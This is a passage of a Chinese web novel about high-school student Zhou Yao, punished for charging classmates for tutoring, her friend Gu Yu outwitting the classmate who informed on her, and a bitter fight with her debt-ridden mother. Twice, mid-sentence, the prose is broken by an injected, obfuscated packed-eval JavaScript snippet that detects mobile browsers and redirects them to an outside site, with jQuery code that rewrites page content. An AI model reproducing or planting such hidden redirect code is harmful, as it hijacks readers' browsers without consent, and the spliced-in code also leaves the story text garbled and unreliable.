周窈生怕自己心里那些想法被他窥见,忙着替自己遮掩:“我,我怕老师误会,再告诉史芬,我罪加一等……”好像越说越乱,她停顿了一下,随即自暴自弃:“算了,我还是回去想想检讨该怎么写吧,总不能真的让灭绝给我扣一个处分,别高考都还没考,毕业就先成问题了。” 说着,她率先转身向班级方向走去,而顾彧则跟在她身后,看着她颓丧的背影,琢磨着什么。 晚上,周窈独自坐在书桌前,咬着笔杆皱着眉,面前铺开的是一张雪白稿纸,上面除了标题“检讨书”三个字之外,还空无一字。 命题作文写过不少,优秀作文范例甚至都背过好几篇,但写检讨书她却是第一次。 而且最要命的是,她打从心底里抗拒这件事,她认为自己没错,这样能写得出来就有鬼了。 想着要不要上网搜搜范本,打开手机却看见企鹅群里99+的未读消息,全是来自GA军团小群的。 【蒋蒋蒋蒋:我百思不得其解,到底是谁要搞阿周啊,你们还记不记得刚开学那会的数学摸底考,也是有人告密,但那次好在被顾神制止了,才没被数学章抓到,这次又告密,TMD到底是谁啊!】 【谭欣:首先申明不是我。】 【孟初之:也不一定是针对周窈的吧?咱们这次分数都提高了,尤其蒋煜和李铭轩,进步飞快,是不是那些名次被他俩挤下去的人?】 【代代:这个思路,我只能说也不是没有可能。@蒋蒋蒋蒋@李是李铭轩的理你们俩有啥仇家没有?】 【蒋蒋蒋蒋:切,我号称九班妲己,怎么可能有仇家?】 【李是李铭轩的理:应该没有吧,我才来半个学期。】 【代代:咱们班就这么些人,“规矩”群里的人就已经占了全班人数的一半了,难不成是内鬼?】 【蒋蒋蒋蒋:不能吧,规矩群里的人都知根知底啊,而且这群都存在快一年了,现在才告密?】 【蒋蒋蒋蒋:我艹真的麻了,这人也藏得太深了!】 【蒋蒋蒋蒋:不行!我一定要把这人给揪出来,阿周为了给我们补课已经很辛苦了,不能让她再受这种不白之冤!】 【蒋蒋蒋蒋:我一定要把这人按在阿周面前,给她磕三个响头!】 周窈:……倒也不必。 而且她现在对到底是谁举报自己一点兴趣也没有,除非这人愿意帮她写检讨。 哎—— 伸手拨弄了两下依旧笑得开朗的蓝胖子,仿佛天塌下来它都依旧能笑得没心没肺,而她的人生里,上一次这么开怀的大笑是什么时候的事了? 手机又震了一下,周窈余光一瞥: 【蒋蒋蒋蒋:@不是葛朗台是世界首富阿周!不要慌不要怕!我们GA是你坚实的后盾!】 【代代:还后盾,你能支持她点啥?】 【蒋蒋蒋蒋:少看不起人了,起码我写检讨的经验多多了。@不是葛朗台是世界首富没事的,升旗仪式念检讨没想象中那么可怕,下面人根本不听你在讲啥,眼一闭一睁就过去了,到时候我们在台下给你加油打气!】 【李是李铭轩的理:已经判了?】 【蒋蒋蒋蒋:说什么呢你,会不会说话,什么就“判”了,不过我觉得最多就是通报批评+升旗了。@不是葛朗台是世界首富我以前写的检讨还在,给你抄?】 周窈看着那一连串的聊天记录,不得不说,下午那会还如死灰般的心,似乎隐隐活过来一些了。 写检讨就写检讨吧,就算要去国旗下念检讨书也没关系,也不会掉块肉。 周窈这样鼓励自己。 所有都是虚的,只有分数和钱不会欺骗你,不会放弃你,至于其他的,他们想要什么,就给吧。 这样想着,她拿起手机敲了一行字。 【不是葛朗台是世界首富:拿来看看。[勾引]】 【蒋蒋蒋蒋:好嘞!我写过好多篇呢,都发你!】 蒋煜倒是没说谎,不到十分钟就发过来一堆图片,都是他这些年写过的检讨,篇幅都一千字往上,周窈仔细辨认着字迹,想认真看看有没有可借鉴的地方,但光是要把这些字迹认清,就耗费了她全部力气…… 正看着呢,手机又震,这次是顾彧私聊她。 【顾^^彧:我的检讨也给周老师看看。】 【顾^^彧:分享文档】 周窈点开文档一看,还真是一篇检讨。 【不是葛朗台是世界首富:你怎么也写过检讨?】 【顾^^彧:初中的时候打架了,是对方先欺负的我。】 【不是葛朗台是世界首富:你既然是被欺负的那个,为什么还要写检讨?】 【顾^^彧:因为我追着他们打了半个月。[愉快]】 【不是葛朗台是世界首富:……】 【不是葛朗台是世界首富:顾老师您是那个!】 / 在经过了一上午的心理建设之后,周窈拿着千字检讨(拼接版)来到办公室门口,打算“勇敢”承认错误,然而刚到门口,她却定住了。 半掩着的办公室门内,传来一道熟悉的声音。 “这件事我有一半责任,周窈本来只是一对一帮助李铭轩同学补习,也是为了帮助同学,是因为我的加入才扩大的补习规模。至于收钱,她确实一贯如此,因为她家里困难,她已经习惯什么事都用金钱来衡量了。硬要追究,她的家长没尽到抚养义务,让她小小年纪就背上了经济压力,而没有通过她助学申请的学校就没有责任了吗?” “她向学校求助过,学校没有帮她,现在要怪她在学校里勤工俭学?” 灭绝的眼睛突然瞪大,她看向史芬,史芬沉默着点了点头。 顾彧继续说道:“我明白,学校不是只看成绩的地方,但最终决定我们人生的,还是成绩。几百块,补两周的课,总分能提高几十分,我都不敢相信世上还有这么好的事。毕竟个别老师一节课就要两百块了,最终分数还不见提高。” “这件事,最终是看老师怎么理解。是看到同学互帮互助的一面,还是因为收钱,把它一刀切,让周窈一个人背锅。而且,既然老师能顶风办补习班,学生象征性收点材料费怎么了?” “顾彧你在威胁老师吗?”灭绝看起来气得不轻。“还勤工俭学,你就是这么定义勤工俭学的?!” 顾彧无所谓地耸耸肩:“看您怎么理解了。”说着,他将几张纸放在史芬的办公桌上:“这是我的检讨书,就像我刚才所说,这事有我一半责任……” 史芬讶异:“你也收钱了?” 顾彧笑了笑,没直接回答:“我的含金量不如周窈,只值十五块一天。” 灭绝眉头紧皱:“你们都穷疯了是吧!把学校当什么地方?!” 顾彧看了她一眼:“老师,知识虽然无价,但时间就是金钱,我每天抽两个小时出来给别人答疑补习,收点费用怎么了?” “你——诡辩!”灭绝气得说不出话来,办公室内的气氛一时间僵住了。 “咚咚。”敲门声响起,周窈推门进来。 她看了一眼灭绝,又看了一眼史芬。 “老师,我来交检讨书。” “进来吧。”史芬朝她挥挥手,“你们俩这是说好了?一前一后的。” 周窈在史芬办公桌边上站定,抬眼看了看顾彧:“没有,我不知道他要来。” 史芬抖开检讨书一目十行地看完,又将它递给了还在生气的灭绝。 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灭绝下节还有课,她匆匆返回自己的办公桌去拿教具:“剩下的就让你们史老师跟你们说吧。”临出门,她又特地补了一句:“好好感谢你们史老师吧,为了帮你们减轻处罚,她自罚了半年的奖金,老黄也罚了三个月,你们呐——哎,一点都不懂老师们的良苦用心,一个个犟得更倔驴似的。”说完,她小跑着赶着上课去了。 周窈闻言,惊诧地望向史芬:“史老师……” 史芬叹了口气:“那怎么办呢,这事毕竟是我起的头,可谁知道你——”她伸手戳了下周窈的脑门:“你本事真大啊!让你给李铭轩补习,你能给我搞成补习班!” “还有这个检讨书!”她抖了抖周窈些的那几页检讨:“我就粗粗一看都知道,蒋煜写的吧?” 周窈缩着脑袋:“他提供了一些思路……” “得了吧!他每次写检讨,都是这些车轱辘话来回说!你们呐,真的是……”史芬看了看周窈,又看了眼顾彧,一个从心底里不认为自己有错,一个为了维护另一个,黑的都能说成白的。 “你们也不要埋怨王老师对你们严厉,学校是教授知识教授德行的地方,或许你们生活上有压力,有生意头脑,但作为学校自然是不希望你们把精力放在这上面的,说学校是为了升学率也好,是为了招生也罢……我当然希望你们毕了业一个个当大老板,当领导,但在这里,你们还是学生,还是我的学生。我不希望你们早早走歪路,不希望你们过早的选择用金钱衡量一切。” “知道了,谢谢您帮我说话。”周窈到底还是服了这个“软”。 “也不止我。”史芬扶了下眼镜:“昨天晚上谭欣她妈还特地给老黄打了个电话,感谢你上次在谭欣被霸凌时帮了她,也感谢你——们帮谭欣补课,这次期中分数提高了许多。” 周窈闻言怔愣了一下,这她倒是没想到,从昨天到今天,这事谭欣一个字都没跟她说过。 “还有李铭轩他爸妈,也特地给我打电话,问是不是给你添麻烦了,让学校不要处罚你……” 鼻子突然有些泛酸。 “你们这个年纪,正是风华正茂的时候,别因为钻了某些牛角尖,白白浪费了青春年华,钱是重要,但也不是那么重要。你们自己回去想一想吧。下节什么课啊,都过了这么久了……” “体育课。”顾彧回答。 “行,那快去上课吧,快走吧。”史芬挥手赶他们出去。 门外,天空湛蓝,阳光正好。 周窈和顾彧一前一后下了楼,却突然在楼下的花坛边站住了。 “怎么不走?”顾彧问。 周窈回头,逆着灼眼的光线望向他:“你说,真的有不用金钱衡量的东西吗?” 顾彧伸出手掌挡在她额头,为她遮住刺眼的阳光:“自然是有的。” “比如?” “比如周条条,金钱就买不到。” 周窈闻言笑出了声来:“那还是买得到的,两块钱就能帮跑腿一次。” 顾彧摸了摸她的头:“傻瓜。” 视线自然交汇,秋风阵阵从他们两人之间的缝隙里穿过,卷走了周遭那些嘈杂的声响。 世界像是真空了一样。 “你为什么要去找老师承认错误?” 顾彧笑着耸了耸肩,仿佛周窈问了一个理所当然的问题:“不是和你说了,顾狐狸不会让周条条一个人的。”说完,他转身:“走吧,上课去,我还想打会球。” 看着他的背影,周窈心如擂鼓,这还是她第一次,感受到有个人无条件站在她这边的暖意。 来不及想,她急急追了上去,伸手拉住了他的手腕。顾彧的手腕看着挺细,但周窈一只手也握不住。 “顾彧。” “嗯?”顾彧有些意外地回头看她。 周窈晃了晃他的手:“要是你也不在怎么办?” 瞬间,顾彧的眸光就暗了下来,但又很快恢复笑意,他伸出另一只手摸了摸周窈的头:“周条条在哪我在哪,我是周条条的跟屁虫。” 54. 以牙还牙 两人说完话来到操场上体育课时,大家已经开始自由活动了。 GA的人看到周窈和顾彧回来,立即就迎了上去。 “怎么样啊?到底怎么个处罚方式啊?!”蒋煜着急地问着,差点就扑倒周窈身上去了。 代薇子拽了他一下:“他都急死了,差点就冲去办公室了。会记过吗?” 周窈摇了摇头:“通报批评,估计下周一升旗仪式上宣判吧。” “那要到国旗下念检讨吗?” 周窈继续摇头:“没说,应该不用。” 众人顿时松了口气,毕竟在孩子们看来,批评事小,丢脸事大。 边上李铭轩磨磨蹭蹭:“对不起啊,给你添麻烦了,昨天晚上我爸妈还特地给史芬打电话了,也不知道有没有用。” 谭欣也立即举手:“我妈也打了!” 周窈淡笑了一声:“我知道,史老师跟我们说了,谢谢你们。” “你们?”蒋煜狐疑地抬头看了一眼一直站在周窈身后的顾彧:“顾神,别说你消失了半节课,是自首去了啊……” 顾彧慢悠悠地打了个哈欠,像只餍足的猫,他漫不经心地抬眼:“那怎么办,总不能让咱们周老师一个人在国旗下念检讨吧?” “卧槽!顾神仗义啊!怪不得咱葛朗台一心扑在你身上呢……” 一阵热闹的叽喳声中,周窈扭头看向身后的人,明媚阳光下,少年双手抱胸,悄悄朝她眨了下眼。 “哎哎,我那几篇检讨书怎么样?史芬没看出来吧?” “她瞄了一眼就知道是你写的了。” “不是,这怎么还能看得出来啊?你不会照抄的吧?” “我是你吗?” “没道理啊,我写的可有文采了……” “算了吧,作文只拿两分的人。” “诽谤!我告你诽谤啊!” 事情尘埃落定,众人悬着的心也终于放了下来,再凑在一起时又恢复了往日的愉快。 “咦?顾神去哪了?” “刚刚还在这,去买水了吧。” 周窈抬头看了一圈,确实没看到顾彧。 下课铃响。 “走吧走吧,先回教室,下节外教课,看电影!耶!” “我真的不想再看恐怖片了,Gloria是不是有什么癖好啊……” “周窈,走啦,看什么呢。” 周窈起身:“哦哦,来了。”想着顾彧这么大的人了,总不至于丢了,便跟着代薇子她们回教室了。 体育馆边的卫生间里,刚打完球的男生们都凑在里面洗脸上厕所。 孔昊英刚洗完手,就看见周窈一群人浩浩荡荡从眼前经过。 “听说就是通报批评。”边上的男生说道。 孔昊英无奈地摇了摇头:“这么大的事就只是个通报批评,好好的学校乌烟瘴气,一股铜臭味。”说着,他将擦过手的纸巾往边上纸篓一扔。“我先回去了,要命了,下节又是外教课,天天看电影不务正业,也不知道请这些老外过来干嘛,都是些外籍垃圾……” 出了卫生间,拐个弯就看见顾彧倚在墙边。他低着头,脸色看起来不是很好的样子。 “顾彧?你怎么在这里?” 顾彧闻言抬头看了他一眼:“没事。” 孔昊英向来想和顾彧这样的尖子生交好,看他一个人站在这,猜想是不是和周窈吵架了,毕竟刚刚体育课,他也缺席了。 于是,他斟酌着问道:“你这是,心情不好?是不是被史芬骂了啊?我听说你也去办公室了,是为了周窈补课那事吗?” 顾彧依旧低着头,不作言语。 见他这个态度,孔昊英觉得自己热脸贴冷屁股,有些无趣,便想走了。刚迈开步子,就听顾彧问他:“烟,还有吗?” “你要抽烟?”孔昊英一脸惊讶。 顾彧点了点头:“带了吗?” “带是带了……”孔昊英有些犹豫地将手伸进了口袋,随即谨慎地环顾了下四周。 顾彧靠的这块是卫生间的边墙,恰好是个凹陷处,前面又有一排树挡着,不仔细看倒是真看不出来。 平时也会有很多逃课的学生躲在这块玩手机打游戏或者抽烟,俗称,摸鱼的风水宝地。 想到这,孔昊英倒也不纠结了,他摸出放在口袋里的烟连带着打火机一起递给顾彧。 “你,自己小心点……” 顾彧接过:“嗯,你先回去吧。” 待孔昊英的身影消失在楼梯口,顾彧这才收起刚拿到手的烟,往反方向走去,直到上课铃响才回到教室。 外教课结束,Gloria心情颇佳地和学生们道别,也不管大家是否一副惊魂未定的样子。 “要死了,从《死神来了》看到《电锯惊魂》,Gloria是不是有什么癖好啊……”蒋煜抚着自己的胸口,瘫在座位上大喘气。 代薇子翻了翻眼睛;“有没有点出息啊你,刚刚全班就你叫得最响。” “谁让她在最血腥的时候按暂停啊!Relyon!Inorderto!继Abandon之后我记得最深的词组!”说着,蒋煜扫了一眼正淡定讨论题目的同桌和前桌:“不是,你们俩怎么这么淡定啊?” 顾彧扭头扫了他一眼:“我又不怕——”话未说完就对上周窈疑惑的眼神,脑海里火化一闪,瞬间回忆起那次在密室里装作怕鬼的样子,于是话到嘴边就硬生生变成了——“我不怕这种血腥的,我怕中式恐怖……” 周窈似嫌弃般地低声嗤笑了一声,边上的蒋煜倒是不疑有他:“是哦,中式恐怖比这种血腥的肢解啥的恐怖一百倍!楚人美老师至今还是我的噩梦!” 几人嘀嘀咕咕开始讨论起恐怖片的剧情,边上孔昊英冷哼了一声:“下节班会课,不会是要批斗某些人吧?” 蒋煜他们这才想起来:“艹了!”他低声咒骂,将视线对准了周窈。 周窈手中的笔一顿。 代薇子看了眼她的脸色:“史芬肯定要拿这件事说事的,咱们先做好心理准备,一只耳朵进一只耳朵出就行了,反正班级里关起门来批评,总比在国旗下当众念检讨好得多。” 周窈听着,低低应了一声。 就算她到现在都不觉得有错,但在普世价值观看来,她就是错了,她还没有蠢到硬要和学校过不去,而且史芬……都这么帮她争取了,骂两句就骂两句吧,也不会少块肉。 上课铃响,史芬踩着铃声进来,只是脸色黑得跟锅底似的。 “我去,这得多大火?之前在办公室里她也是这么骂你们的?” 顾彧抬头看了一眼讲台上怒气冲冲的史芬,又低头做自己的题:“没有,办公室里很正常。” “那不该啊,脸黑成这样……” “啪!”史芬猛地一拍桌子,将大家都吓了一跳,就连刚刚还给自己做心理建设的周窈都惊得抬头看了一眼,刚刚在办公室里不是说得好好的吗?而且这事都过去两天了,总不至于这会史芬这气才冒出来吧…… “啪!”又是一声。 史芬将一样东西重重拍在讲台上。 “你们胆子大了是吧!去黑网吧、打群架,现在都敢光明正大在学校里抽烟了?!”说着,她高高举起手里的那包烟:“自己老实交代,这谁的烟,谁带到学校里来的!一个两个的,学习不好好学,恶习 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13656208|141717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学了不少!你们才几岁啊,就开始抽烟,肺不想要了?!”说着,她还看了一下那包烟的包装盒:“还是包进口烟,家底挺厚啊!你们爹妈知道给你们的生活费都用来买烟,用来不学好了吗?!” 很显然,这一串开场白超出了周窈的预料。 边上代薇子悄悄跟她传小纸条:“也不知道是哪位义士,用自己身躯帮咱们堵抢眼啊……” 周窈瞄了两眼,比了个“嘘”,然后低头刷题,尽量减少自己的存在感,以免史芬想起她来,把她和顾彧再骂一顿。 教室里,有人庆幸,有人看戏,有人窃窃私语,自然也有做贼心虚的,抖若筛糠。 隔着过道,孔昊英满头冷汗地扭头看向顾彧,眼神惊诧中又带着几分难以置信,而后者只是轻挑了嘴角,淡淡笑了笑。 …… 今天放学,顾彧破天荒地头一次提出不跟周窈一起回家。 周窈虽然表现得平淡,但心里却觉得神奇,看了他几眼到底没忍住,问道:“你晚上要去哪?” 顾彧理着书包:“嗯……帮我妈给她以前的同事送点东西。” 瞎话张嘴就来。 周窈倒也没怀疑,自顾自回家去了。 等教室里人都走得差不多了,顾彧才拎上书包往体育馆边上的卫生间走去。 老地方,不出五分钟就等来了一脸急色的孔昊英。 “顾,顾彧,那个烟怎么回事?!怎么到史芬手里去了?!” 顾彧双手环胸,屈腿靠在墙边,轻飘飘地扔下一句:“我交上去的。” “你——你交上去的?!你为什么要交上去?!你不是——” “我没抽。我不抽烟。” 孔昊英又不是蠢人,这两句话砸下来,他瞬间就知道了事情的始末,只是现在的他依旧对此感到难以置信:“你故意的?你为什么要陷害我?” 顾彧低低笑了两声:“我要真陷害你,直接跟史老师说,那包烟是你的不就行了?” “那你为什么要这么做?!” “我也想问。”顾彧沉下脸:“你为什么要几次三番举报周窈?” “你为了周窈报复我?”孔昊英脸上的震惊又深了几分:“你跟周窈到底什么关系?你们真的在谈恋爱?!” 顾彧没答复他这个问题:“你一直针对周窈,但你有没有想过,她真的没那么多时间去关心你,希望你也趁早明白,即便你再怎么针对她,她的成绩依旧比你好,搞这些小把戏,不如多花点时间提高自己的学习成绩。” “你不是问我为什么要这么做吗?你猜周窈能不能认出那包烟属于谁?” 脑海中记忆的片段突然闪过。 孔昊英一秒惊恐。 是了,知道他抽烟的人,除了顾彧,还有那天出现在顾彧家楼下的周窈! “她,她也知道了?” “你说哪件事?” 是啊,哪件事呢?是举报她卖数学答案,还是举报她收钱补习…… “她知道那包烟是我的吗?” 顾彧哼笑:“那我怎么知道,我又没问过她,没准她哪一秒就想起来了,当然,如果她想不起来,我也可以提醒她一下。” 孔昊英低头无言,但颤抖的指尖还是出卖了他此时心底的慌张。向来成绩比不过哥哥姐姐的他,能够值得夸赞的大概也只有“听话”了,可如果被家里知道…… “所以你最好记得,现在你也有把柄在周窈手上了,别再跟她过不去了,因为她从来也没把你放在眼里过,第三名。” 说着,顾彧转身离去,剩孔昊英一个人呆愣地站在原地,垂着头,眼神中不止有慌张,还有满满的失落。 55. 抱抱 自从和顾彧和好以来,这还是周窈第一次一个人回家,没了顾彧在身边黏黏糊糊叽叽喳喳,一路上突然清静得吓人,即便她想着回家的路上能把课文再背一背,但却怎么都没法集中精力,稍一走神,思绪就歪到顾彧身上了。 一会想着他到底有什么事,一会想着连累他跟自己一起通报批评会不会很严重,然后再感叹顾彧这家伙,着实是害人不浅,她这么一个一心向学的好学生,竟然也思起风月来了。 到了家,发现陈娟竟然已经回来了,正坐在沙发上补一双破了洞的袜子,桌上是刚烧好的菜,还冒着热气。 “妈,我回来了。” 打了招呼,却听到电话响了起来,想着电话就在沙发边的茶几上,陈娟捎带手就接了,她便也没管,回房放书包,却不知陈娟竟然一直没接电话,就放任它响。 周窈疑惑,上前要去接,手还没碰到电话就被陈娟一巴掌拍掉。 “接什么接,不许接。” “谁的电话啊?”周窈不解地问。 陈娟撇撇嘴,继续低头缝补袜子:“还能是谁,你舅舅呗,我跟我妈拿点钱,看他上蹿下跳的……” 周窈没想到会是这样,一下子愣在原地,想起自己回昌里时,舅舅连个照面都没跟她打,还有他嘱咐外婆的那番话……心中的怨气难免烧了起来。 “你又跟外婆拿钱?外婆都多大年纪了?!” 陈娟轻哼了一声,语气里满是尖酸:“好笑了,我不是她女儿啦?我问自己老妈拿点钱怎么了?一个两个都说三道四,尤其你这个小白眼狼,我没钱怎么还债啊,怎么供你读书啊!” 周窈一阵无语,心想你昨天才说不会再给我交学费了。 但自己离开昌里的时候,外婆明明说过不会再给妈妈钱了…… 心中的不安越来越大,周窈试探地问道:“你用什么借口让外婆给你钱的?” 说起这个,陈娟脸上突然扬起一抹得意的神色:“你外婆先前还不肯给我,后来我说你在学校闯了祸,骗了人家好多钱,要赔……” “什么?!”周窈嗓音陡然增大。 “哎哟干嘛你,叫什么叫!我说错了吗?你不是在学校闯了祸吗?老师都告状告到我这里来了。” “那我也没有骗人家钱啊,更没有要赔钱给人家啊!你怎么骗外婆的钱啊?!” 周窈的话,瞬间点燃了陈娟,她将手里的袜子往边上一扔,掉转头来:“什么叫我骗你外婆的钱啊?!我不是她女儿吗?!从小就偏心你舅舅,她棺材本都放在你舅舅那里,当我不知道啊?!还有老家的房子,上面有我的名字吗?啊?!哦,我要回我自己的那份,就叫骗啊?!” 周窈望着眼前的陈娟,突然感到十分陌生。 大人之间的种种她不懂,不理解,但想起自己走前外婆偷偷塞给她的那两百块,还有她说的要攒钱买棺材地…… 鼻子突然好酸,眼泪差点就要落下来。 “他们不肯写你名字,不肯给你钱,到底是因为偏心,还是怕你被周建民继续骗,你分不清吗?” 说着,她用力吸了吸鼻子:“周建民都走了多久了,只有你还相信他会回来,他生意失败这么多次,只有你相信他会东山再起,他就跟个无底洞似的,你作死作活给他往里填钱,现在他好不容易走了,你还要把我们,把舅舅和外婆都一起填进去,你是不是,有病?” 这是周窈对陈娟说过的,最重的话了,以前即便质疑她,周窈也从来没对自己的妈妈说过一句重话。 但今天,她这座持续在冒烟的火山,算是彻底被点燃了。 “周建民到底给你下了什么蛊啊?他比我们都还重要吗?外婆不是你的妈妈吗?我不是你小孩吗?你为什么还要替他还债啊!他大摇大摆走了,我们就不能离开这里吗?!凭什么我们要过这样的日子,凭什么我们要被钉在这里,凭什么啊?!” “债务人是我的名字。” 一击重雷击落,周窈耳朵猛地“嗡”了一下,她怀疑自己听错了。 “什么?” 陈娟抬头看向她,一字一顿:“我说,债务人写的是我的名字。因为你爸说,如果他身上背着债务,很难说服人家给他投资,银行也不会房贷给他。” 周窈抖着声音:“所以你就签字了?” 陈娟摊着手:“那我能怎么办?那是你爸,我老公,我当然是盼着他能好啊!百年后我们才是要埋在一个坟头里的。” 离谱…… 周窈眼睛起了一片雾,她仔细地看着眼前的这个人,这个坐在沙发上的女人。她皮肤发黄,头发花白,整个人因为长期的操劳和营养不良而看起来干瘦干瘦的,手上的皮肤也很粗糙,一到冬天就生冻疮、裂口,刚涂上药膏,转头她又要去给病人擦洗身体收拾屎尿,所以怎么都好不了。 就这样一个苦难的女人,若谁说一句“她自找的”,都未免显得太没人情味,可事实就是如此,她自找的。 口袋里的手机震了两下,周窈抹了下眼睛掏出手机一看。 舅舅发来的短信。 若不是这条短信,她都不记得自己竟然还存有舅舅的联系方式。 点开一看。 【转告你妈,她不接电话,装死,没关系,从今天开始,我和你外婆正式和她断绝关系,以后不要再来昌里了!两家人各过各的!她的死活我们也不管了!】 周窈闭了闭眼睛,喉头一哽:“舅舅,说要跟你断绝关系……” 陈娟闻言一怔,但随即做出一副无所谓的样子:“那正好,那些钱我就收下了,以后老太太病了老了也不用我伺候了。跟你舅舅说,老太太的棺材钱,我可是一分都不会拿出来的。” 周窈自然不会转达,她只是不明白,事情为什么会发展成这样。 像是被抽干了所有力气,她往后退了几步,靠着墙半蹲着。狭小的房间突然间显得阴暗了起来,空气中都透着绝望。 深吸几口气,却好像吸不进肺里,只觉得窒息。 她真的一秒都不想在这个家里呆了! “我出去一下。” “去哪啊?” 往外冲的脚步顿了一下,是啊,她去哪呢?现在学校都关门了吧,哪里还有可去的地方呢?可她就这么一声不吭走掉,陈娟会慌,会疯的…… “我……我去顾彧家,找他问题目。” “又要去麻烦人家小彧,饭还吃不吃啊……” “砰!” 所有的声音被关在门内。 周窈背抵着门,渐渐滑落,无力地跌坐在台阶上…… 到底是这个世界疯了,还是她疯了?她现在去宰了周建民行不行?或者干脆让周建民宰了她,反正这望不到头的日子,她也过够了…… “周条条?” 一楼的大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665962|141717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铁门不知被那个邻居用一块转头别着,住她家隔壁的那位少年骑着车从门前经过,刚好就看到了坐在台阶上的周窈。 像是看见了救星,周窈起身朝他狂奔去,距离越来越近,周窈能清晰地看到他眼里的疑惑、惊讶和担忧。 离他还有一步距离的时候,周窈停了下来。 她竭力压制着马上就要哭出来的情绪,抬起红红的眼睛望着他。 “顾彧,你能,能抱抱我吗?” 好奇怪的要求。但少年也没有问原因,他停好车,二话没说就把周窈揽进了自己怀里。 在接触到这个怀抱的那一秒,周窈压抑着的情绪终于得到释放,就像那天在图书馆里一样,只不过这次,少年将她抱得紧紧的。 她哭得很凶,好几次像是要将心都哭出来似的。 顾彧也不说话,只是揽着她的后背轻轻拍着,希望自己能给她多一点的安慰。 不知哭了多久,等周窈回过神来时,她的头都胀得痛,眼睛更别提了。她下意识擤了下鼻涕,却吹出好大一个鼻涕泡!而且她猛地意识到,面前这块布料,似乎是……顾彧的校服?! 羞耻感立马涌了上来! 把鼻涕擤在别人衣服上算怎么回事啊!而且这么大一个鼻涕泡,谁家女孩子会吹出鼻涕泡来啊! 来不及多想,她拽着衣服直接按住了自己的鼻子,连带着顾彧都被她拽着一个趔趄。 “怎么了?” “呃……”浓重的鼻音夹杂着无措情绪,却又在竭力装作无事发生:“你,你把衣服脱下来。” “嗯?”顾彧一眼看穿周窈的窘迫,但禁不住想要逗弄的心,便故作轻佻地问道:“为什么要脱我衣服?你上来又抱又脱的,周条条,你是要追我还是要强迫我啊?” “你神经啊!叫你脱就脱!” 顾彧缓缓将衣服脱下,恶趣味地戳穿她:“哦——你是不是把鼻涕擦我衣服上了?” “没有!没有!”周窈急得跺脚,一把扯过衣服在鼻子上“不着痕迹”地擦了两下,然后迅速藏到身后:“我洗干净了还你!” “那你要快点哦,不穿校服会扣分的……” “知道了!啰嗦!”说着,周窈将校服团成团,捏在手里转身跑了。 顾彧看着她的背影,念叨了一句:“用完就丢。”却有后悔,没问清楚她今晚这么失控是为了什么,明明放学的时候还好好的。 想着要不问一问,刚掏出手机,屏幕上就蹦出来一条新消息。 【不是葛朗台是世界首富:今天晚上的事不准说出去!不然嘎了你!】 嘴角翘了翘。 【顾^^彧:是指你用鼻孔吹泡泡这件事吗?[微笑]】 对面沉默三秒,不知是因为害羞还是震惊。 【不是葛朗台是世界首富:你看见了?!】 【不是葛朗台是世界首富:死狐狸!你死定了!!!】 【不是葛朗台是世界首富:我要把你的狐狸眼抠出来!】 【顾^^彧:周条条好暴力哦,不过用鼻子吹泡泡,难道是你新练的绝活吗?】 【不是葛朗台是世界首富:啊啊啊啊啊啊!死狐狸!闭嘴!!!!!】 一连串的感叹号,看起来好像真的恼羞成怒哦。 收起手机,顾彧抬头往灯光昏暗的周窈家窗户里看了一眼,然后才转身朝自己家方向走去。 56. 得不到的男人 第二天,周窈盯着红肿的眼睛鬼鬼祟祟地走进教室,冷不丁把代薇子吓了一跳。 “我去,你眼睛怎么啦?!怎么肿成这样了?” 周窈不大自然地别过头:“没事,临睡前水喝多了。” 后脚,顾彧也走了进来,他因为没穿校服被拦在了大门口,登记了姓名班级才被放行。经过周窈桌边,他颇为故意地“哼”了一声。 蒋煜眼尖,立即问道:“哎,顾神你没穿校服啊?” 顾彧在自己位置上坐下,阴阳怪气:“是啊,被扣了一分呢,某些人还见死不救,撇下我自己跑得飞快……” 周窈听不下去了,转过身对他说道:“我已经洗了洗了洗了!天气冷干不了我有什么办法,我保证你明天就能穿上了行不行?平时也没见你那么爱穿校服,就今天事多……” “哼,被扣分的又不是你,你知道我被拦在学校大门口的时候,内心有多慌张,多丢人吗?你根本不知道,因为你跑得飞快,都不回头看我一眼……” 还演上了。 周窈抽了抽嘴角:“你以后不当演员真是可惜了……” 蒋煜闻到了瓜的味道,立即凑了上来:“什么什么?为什么阿周要给顾神洗校服啊?啊!你们已经发展到这一步了吗?!” “收!”周窈伸手对着空气一抓:“收起你那些不切实际的幻想,都是没有的事!我把他衣服弄脏了,所以帮他洗衣服。” “弄脏?怎么弄脏了?展开说说?” 想起昨天晚上那个硕大的鼻涕泡泡,周窈“老脸一红”:“关你什么事,英语课文背了没啊!” 蒋煜看她心虚那样:“啧啧,有故事!有隐情!” 扭头看向另一位当事人,对方却早早将嘴一闭,不肯多透露一个字。 蒋煜气得锤桌子:“你们俩这么快已经有了自己的小秘密了吗!” 顾彧嘴角一扬:“我们多得是你不知道的小秘密。” 一整个上午,周窈心怀忐忑,生怕顾彧一不小心说漏嘴了,把她昨晚的黑历史给说出来。 但同样忐忑的还有另外一个人。 大课间,周窈要去小卖部跑腿,刚走到楼梯口就被孔昊英拦了个正着。 他看起来似乎是有重要的事要说,拦下她的时候还特地左右看了看,确保周围没人经过。 “你干嘛啊?”周窈看了眼时间,有些不耐烦。 孔昊英酝酿再三,鼓起勇气:“你,跟史芬说了没有?” 周窈一头雾水:“说什么?” 